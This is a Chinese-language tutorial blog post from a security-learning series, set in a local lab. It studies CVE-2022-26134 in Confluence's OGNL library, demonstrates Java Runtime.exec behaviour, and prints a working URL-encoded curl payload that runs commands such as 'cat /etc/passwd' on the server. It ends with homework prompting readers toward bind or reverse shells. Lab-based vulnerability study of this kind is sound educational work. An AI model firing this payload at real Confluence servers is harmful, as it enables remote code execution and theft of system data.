iT邦幫忙

2022 iThome 鐵人賽

DAY 10
1
影片教學

從建立環境、驗證漏洞、感受漏洞來學習資安系列 第 11

Day10 - 測試漏洞界的古靈精怪槍,有些要編碼,有些又不用,哭阿!! (作業3)

  • 分享至 

  • xImage
  •  

Yes

  • 終於第10天了,賽程也來到1/3的階段。這次是要針對之前建立的環境去分析Confluence所用的OGNL函式庫的版本,並且了解一下為何會造成RCE的原因、這個弱點的POC特性以及研究Java進行RCE的限制。

  • 首先先從OGNL開始看起,它的功能是可以透過表達式語言,去設定或是取得Java物件的屬性,或是執行一些特殊的函式。但在建立OGNL測試環境之前,我們先來Confluence容器環境看看它的了那些相關的函式庫。

步驟如下 :

  1. 先進入有 docker-compose.yml 的資料夾底下
  2. docker compose up -d
  3. docker ps
  4. docker exec -it (Web容器名稱) bash
  5. 從 /proc/pid/cmdline 找出可能執行路徑
  6. cd /opt/atlassian/confluence/
  7. find . -name "*.jar" | grep ognl
  8. docker cp (Web容器名稱):/opt/atlassian/confluence/confluence/WEB-INF/lib/ognl-2.6.5-atlassian-3.jar .
  • 從上面的結果可以猜出 confluence 用的 ognl-2.6.5-atlassian-3 版本,可以在 maven 的網站上找到 2.6.5-atlassian-3。有了版本之後,就可以先用 maven 專案建立一個簡單的 Java 應用程式去做測試。

步驟如下 :

  1. 打開 SpringToolSuite4
  2. 新增一個 Maven 專案,類型選擇 maven-archetype-quickstart
  3. 填入喜歡的 GroupId、ArtifaceID、Version
  4. 對專案按右鍵 -> Properties -> Java Build Path -> Add External JARs... -> 選擇剛剛 docker cp 的 JAR 檔案
  5. 參考資料 Apache Commons Ognl tutorial with examples 撰寫程式碼
package com.tw.ognl;

import java.math.BigDecimal;
import java.util.List;
import java.util.ArrayList;

import ognl.*;

public class App {
	public static void main(String[] args) throws Exception {
		Sample data = new Sample();
		data.getLines().add(new Item(1, new BigDecimal("100")));
		data.getLines().add(new Item(2, new BigDecimal("200")));
		data.getLines().add(new Item(3, new BigDecimal("300")));

		System.out.println(Ognl.getValue("lines.{ #this.code == 2 }", data));
		System.out.println(Ognl.getValue("lines.{^ #this.code > 1 }", data));
		System.out.println(Ognl.getValue("lines.{? #this.price > 150 }", data));

		System.out.println(Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"sleep 548787\")", data));
	}
}

class Sample {
	private List<Item> lines = new ArrayList<Item>();

	public List<Item> getLines() {
		return lines;
	}
}

class Item {
	private int code;
	private BigDecimal price = BigDecimal.ZERO;

	public Item(int code) {
		this.code = code;
	}

	public Item(int code, BigDecimal price) {
		this.code = code;
		this.price = price;
	}

	public int getCode() {
		return code;
	}

	public BigDecimal getPrice() {
		return price;
	}

	@Override
	public String toString() {
		return "Item(code=" + code + ")";
	}
}
  • 觀察結果可以發現 OGNL 可以幫我們設定撈取條件後從物件對象抓出符合條件的資料出來。相關語法可以參考Developer Guide。但最讓我們眼睛為之一亮的是最後一個呼叫睡覺指令的部分。透過 @class@method(args) 的格式可以呼叫該 class 的 static 方法,e.method(args) 可以呼叫物件 e 的方法,因此透過 @java.lang.Runtime@getRuntime().exec(String) 就可以做到呼叫任意指令的效果。而這次造成Confluence的主因就是接收了外部輸入參數進行OGNL的運算導致觸發RCE,至於詳細的觸發路徑則可參考CVE-2022-26134 Confluence OGNL RCE 漏洞分析

  • 最後則是要針對這次的攻擊POC做幾個符號方面有趣的測試,參考如下 :

curl --head "http://IP:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22  
  • cat%20/etc/passwd #(O)
  • touch%20aeifkz.(.)..+.-.%3C.%7C.%3E.:..txt #(O)
  • ls%20-al%20%7C%20wc%20-l #(X)
%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
  • 會發現這個攻擊 POC 就跟古靈精怪槍一樣,有些符號要做URLEncode,有些則不用。 /images/emoticon/emoticon06.gif 另外最後一個明明是 Linux 常用指令 ls -al | wc -l,但也似乎無法運作,這個原因到底為何?

  • 這個部分就可以參考如何正確的使用 Runtime.exec(),其中有個章節提到常見的錯誤是使用所以shell可以執行的指令都可以透過exec()來達成,例如 > redirect 的符號。這部分我們可以依照參考資料程式進行測試。

步驟如下 :

  1. vim OkExample1.java
import java.util.*;
import java.io.*;
 
public class OkExample1 {
    public static void main (String args[]) {
        try {            
            Runtime rt = Runtime.getRuntime ();
            Process proc = rt.exec ("ls -al | wc -l");
            String line = null;
 
            InputStream stderr = proc.getErrorStream ();
            InputStreamReader esr = new InputStreamReader (stderr);
            BufferedReader ebr = new BufferedReader (esr);
            System.out.println ("<error>");
            while ( (line = ebr.readLine ()) != null)
                System.out.println(line);
            System.out.println ("</error>");
             
            InputStream stdout = proc.getInputStream ();
            InputStreamReader osr = new InputStreamReader (stdout);
            BufferedReader obr = new BufferedReader (osr);
            System.out.println ("<output>");
            while ( (line = obr.readLine ()) != null)
                System.out.println(line);
            System.out.println ("</output>");
 
            int exitVal = proc.waitFor ();
            System.out.println ("Process exitValue: " + exitVal);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
  1. javac OkExample1.java
  2. java OkExample1
  • 從上面可以發現程式會認為 '|' 以及 'wc' 這兩個名稱的檔案不存在,很顯然這個特殊符號會當成檔案名稱使用,可見 java 函式庫在 exec 的實做上有做一些特殊的手腳,避免因為輸入資料導致 Command Injection。也會對我們想要透過 > 符號寫入檔案造成一程度上的困擾.

  • 也因此對於confluence弱點的部份大致上就解讀到這邊,這次的漏洞原因主要是因為把外部的傳入資料送到OGNL運算做執行,導致RCE的發生. 而這次的建立與解說主要還是著重在 docker compose 的使用、OGNL功能的測試以及 Java Runtime 特性的介特性的介紹.有興趣在更深入原理部份的話可以參考前面提到的資料CVE-2022-26134 Confluence OGNL RCE 漏洞分析

  • 回家作業 : /images/emoticon/emoticon33.gif

  • 面對 Java 這樣的 Runtime 特性很難讓我們去寫入檔案,思考一下可以透過怎樣的方式克服這個問題呢? (ex: Bind Shell、Reverse Shell或是其他有趣的指令?)


上一篇
Day09 - 透過 Confluence OGNL 漏洞來練習一下達可康頗斯 (Docoker Compose)
下一篇
Day11 - 所謂的厲害,就是讓這個世界,因為有了我,而多了一個後門帳號。而我的世界,不過就是這台Confluence。(作業3解答、作業4)
系列文
從建立環境、驗證漏洞、感受漏洞來學習資安37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言